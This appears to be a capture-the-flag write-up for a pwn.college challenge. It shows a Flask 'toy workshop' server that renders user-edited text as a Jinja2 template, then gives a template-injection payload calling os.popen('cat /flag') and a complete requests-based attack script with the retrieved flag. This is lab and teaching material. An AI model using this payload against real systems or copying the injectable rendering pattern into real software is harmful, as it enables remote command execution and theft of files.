# Day 08

Attachment:

```
#!/usr/local/bin/python
import hashlib
import os
import pwd
import secrets
import shutil
import subprocess
from pathlib import Path

from flask import Flask, jsonify, render_template_string, request

app = Flask(__name__)

TEMPLATES_DIR = Path("/challenge/templates")
WORKSHOP_DIR = Path("/run/workshop")
TINKERING_DIR = WORKSHOP_DIR / "tinkering"
ASSEMBLED_DIR = WORKSHOP_DIR / "assembled"

SECRET = secrets.token_hex(16)


def drop_privs():
    pw = pwd.getpwnam("nobody")
    if os.getuid() != 0:
        return
    os.setgroups([])
    os.setgid(pw.pw_gid)
    os.setuid(pw.pw_uid)


def toy_hash(toy_id: str) -> str:
    return hashlib.sha256(f"{SECRET}:{toy_id}".encode()).hexdigest()


@app.route("/create", methods=["POST"])
def create():
    payload = request.get_json(force=True, silent=True) or {}
    template = payload.get("template")
    if not template:
        return jsonify({"error": "missing template"}), 400
    bp = TEMPLATES_DIR / template
    if not bp.exists():
        templates = sorted([path.name for path in TEMPLATES_DIR.glob("*")])
        return jsonify({"error": "unknown template", "templates": templates}), 404

    toy_id = secrets.token_hex(8)
    src = TINKERING_DIR / toy_hash(toy_id)
    shutil.copyfile(bp, src)
    return jsonify({"toy_id": toy_id})


@app.route("/tinker/<toy_id>", methods=["POST"])
def tinker(toy_id: str):
    payload = request.get_json(force=True, silent=True) or {}
    op = payload.get("op")
    src = TINKERING_DIR / toy_hash(toy_id)
    if not src.exists():
        return jsonify({"status": "error", "error": "toy not found"}), 404

    text = src.read_text()

    if op == "replace":
        idx = int(payload.get("index", 0))
        length = int(payload.get("length", 0))
        content = payload.get("content", "")
        new_text = text[:idx] + content + text[idx + length :]
        src.write_text(new_text)
        return jsonify({"status": "tinkered"})

    if op == "render":
        ctx = payload.get("context", {})
        rendered = render_template_string(text, **ctx)
        src.write_text(rendered)
        return jsonify({"status": "tinkered"})

    return jsonify({"status": "error", "error": "bad op"}), 400


@app.route("/assemble/<toy_id>", methods=["POST"])
def assemble(toy_id: str):
    payload = request.get_json(force=True, silent=True) or {}
    src = TINKERING_DIR / toy_hash(toy_id)
    if not src.exists():
        return jsonify({"status": "error", "error": "toy not found"}), 404

    dest = ASSEMBLED_DIR / toy_hash(toy_id)
    cmd = ["gcc", "-x", "c", "-O2", "-pipe", "-o", str(dest), str(src)]
    proc = subprocess.run(cmd, capture_output=True, text=True, preexec_fn=drop_privs)
    if proc.returncode != 0:
        return jsonify({"status": "error", "error": "failed to build"}), 400
    return jsonify({"status": "assembled"})


@app.route("/play/<toy_id>", methods=["POST"])
def play(toy_id: str):
    bin_path = ASSEMBLED_DIR / toy_hash(toy_id)
    if not bin_path.exists():
        src = TINKERING_DIR / toy_hash(toy_id)
        if src.exists():
            return jsonify({"status": "error", "error": "toy not built"}), 400
        return jsonify({"status": "error", "error": "toy not found"}), 404
    payload = request.get_json(force=True, silent=True) or {}
    stdin_data = payload.get("stdin", "")
    proc = subprocess.run([str(bin_path)], input=stdin_data, capture_output=True, text=True, preexec_fn=drop_privs)
    return jsonify({"stdout": proc.stdout, "stderr": proc.stderr, "returncode": proc.returncode})


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)
```

We can inject arbitrary commands into the template, learned from [https://onsecurity.io/article/server-side-template-injection-with-jinja2/](<https://onsecurity.io/article/server-side-template-injection-with-jinja2/>):

```
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read().strip()}}
```

When it gets rendered, the flag is embedded into the source code. We only need to insert it to the string argument of `puts`, so it will be printed later.

Attack script:

```
import requests

resp = requests.post("http://localhost/create", json={"template": "robot.c.j2"}).json()
print(resp)

toy_id = resp["toy_id"]

# inject {{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read().strip()}}
resp = requests.post(
    f"http://localhost/tinker/{toy_id}",
    json={
        "op": "replace",
        "index": 147, # argument of puts
        "length": 0,
        "content": "{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read().strip()}}",
    },
).json()
print(resp)

resp = requests.post(
    f"http://localhost/tinker/{toy_id}",
    json={
        "op": "render",
    },
).json()
print(resp)

resp = requests.post(
    f"http://localhost/assemble/{toy_id}",
    json={},
).json()
print(resp)

resp = requests.post(
    f"http://localhost/play/{toy_id}",
    json={},
).json()
print(resp)
# {'returncode': 0, 'stderr': '', 'stdout': 'beep boop | battery: pwn.college{sXMQ3iy3XqeFl3GpbZFSyP5nGMo.0VN0EjMywyM5EzN0EzW}\ninput command ():\n'}
```
